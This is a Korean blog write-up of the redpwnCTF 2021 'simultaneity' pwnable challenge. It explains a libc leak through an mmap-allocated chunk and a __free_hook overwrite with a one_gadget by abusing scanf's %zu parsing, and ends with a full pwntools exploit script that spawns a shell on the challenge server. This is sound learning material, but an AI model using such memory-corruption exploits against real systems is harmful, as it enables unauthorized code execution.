redpwnCTF 2021 - simultaneity write-up

728x90

대회기간 풀지 못했던 문제이며, writeup을 보고 원리를 이해하며 작성한 글입니다.

 

 

Full RELRO - GOT Overwrite 불가능

NX enabled - 쉘코드를 메모리에 적재해 실행시키는것 불가능

PIE - 주소 랜덤화

 

코드 분석

 

 

1. big?에서 size를 입력 받고 그 size만큼 malloc을 호출

2. here: malloc이 반환한 메모리의 주소 출력

3. far? 다음 scanf("%ld")로 입력 -> 숫자만 입력

4. what? 다음 scanf("%zu")로 입력 -> 숫자만 입력

 

공격 벡터

1. here?에서 top chunk 값보다 큰 값을 입력(예를 들어 10000000)하면 mmap을 사용하여 힙에 할당

2. 청크 주소를 가지고 libc 주소를 알 수 있음.(libc base주소 - chunk 주소 하면 특정 값이 나오는데, 그 값을 chunk에 더하면 libc base 주소)

3. far에서 overwrite 대상이 되는 값(주소, offset)을 입력

4. what?에서 3에 덮어 씌울 값을 입력

 

분석

실행 결과
heap를 넘어 mmap으로 청크가 할당됨

그리고 여기서 libc_base를 릭할 수 있다.

 

 

10000000를 size로 주고 malloc으로 반환된 청크 주소 + 10002416을 하면 libc_base 주소가 될 것이다.

이를 통해 libc_base 주소를 릭하고, offset을 이용하여 함수의 실제 주소를 구할 수 있음

 

다음 far에서 값을 입력 받는데 %ld라 숫자로 입력을 해줘야함.

이때 FULL RELRO 이기때문에 got_overwrite는 불가능 하지만, _exit에서 free 함수를 호출하기 때문에 __free_hook을 one_gadget으로 덮으면 쉘이 따질것이다.

free 함수를 호출하는 부분

far에서 입력을 받을때 값을 chunk에 저장한다.

 

그래서 __free_hook의 값을 입력하고 싶으면 __free_hook 주소 - chunk의 주소를 해줘야하는데 이때 함정이 있다.

함정은 what?에서 입력받을때 size*8의 오프셋으로 받기 때문에 // 8을 써줘야 정확하게 값을 입력할 수 있다.

 

//은 파이썬에서 몫을 구해주는 연산자

 

다음 what?에서 입력할때 '0'*0x500+원가젯 주소를 입력해줘야 하는데, 이부분에서 왜 '0'*0x500을 입력해주는지 몰랐는데 참조한 블로그를 통해 할게 되었다.

만약 여기서 매우 큰 값을 입력하면 free_hook을 덮을 수 있다.

아래 사진은 '1'*0x500을 입력해서 덮이는지 확인하였고 실제로는 '0'을 입력해줘야 한다.

 

'0'을 입력하면 메모리는 잡아먹지만 0이기때문에 __free_hook에는 영향을 못미침

rip가 0xffffffffffff으로 덮임
__free_hook이 0xffff~~으로 덮임

 

 

그래서 '0'*0x500 + one_gadget주소를 입력해주면 문제 풀이 완료

 

 

Exploit Code

from pwn import *

if args.REMOTE:
    p = remote('mc.ax', 31547)
    libc = ELF('./libc.so.6')
    libc.symbols['gadget'] = [0x4484f, 0x448a3, 0xe5456][1]
else:
    p = process('./simultaneity')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

one_gadget = [0x4484f, 0x448a3, 0xe5456]
p.sendlineafter('big?', str(10000000))

# leak_chunks, libc_base
p.recvuntil('here: ')
leak_heap = int(p.recvline()[:-1], 16)
libc.address = leak_heap + 10002416
log.info('libc.address: ' + hex(libc.address))
log.info('libc.sym.__free_hook: ' + hex(libc.sym.__free_hook))

offset = (libc.sym.__free_hook - leak_heap) // 8
log.info('offset: ' + hex(offset))

# input __free_hook to chunk
p.sendlineafter('far?\n', str(offset))

# overwrite __free_hook to one_gadget
p.sendlineafter('what?\n', str('0'*0x500)+str(one_gadget[1]+libc.address))
p.interactive()

 

해당 문제를 풀면서 chunk를 통해 libc_base 주소를 릭할 수 있는 점과 top chunk크기 이상으로 할당하면 mmap으로 할당해 준다는것을 알았다.

또한 코드를 정확히 분석해야 함을 느꼈다.

 

 

참조

https://sechack.tistory.com/38

 

redpwnCTF 2021 - simultaneity

트릭모르면 못푸는 문제이다. 나도 문제풀당시에는 트릭을 몰랐어서 너무 오래걸렸었다. 굉장히 심플한 프로그램이다. 하지만 scanf의 서식지정자로 %zu를 줬을때 scanf내부 로직을 모르면 못푸는

sechack.tistory.com

https://github.com/volticks/CTF-Writeups/blob/main/redpwn%202021/Simultaneity/README.md

 

volticks/CTF-Writeups

If I solve a CTF challenge and do a writeup, it goes here. - volticks/CTF-Writeups

github.com

https://github.com/datajerk/ctf-write-ups/tree/master/redpwnctf2021/simultaneity

 

datajerk/ctf-write-ups

My write-ups from various CTFs. Contribute to datajerk/ctf-write-ups development by creating an account on GitHub.

github.com

 

728x90

'Pwnable' 카테고리의 다른 글

Ropasaurusrex  (0) 2021.07.25
2018 아주대 사이버보안학과 ctf - babyuaf  (0) 2021.07.25
2021 THE CTF  (0) 2021.06.19
2021 HSCTF8  (0) 2021.06.19
2021 BCACTF 2.0  (0) 2021.06.12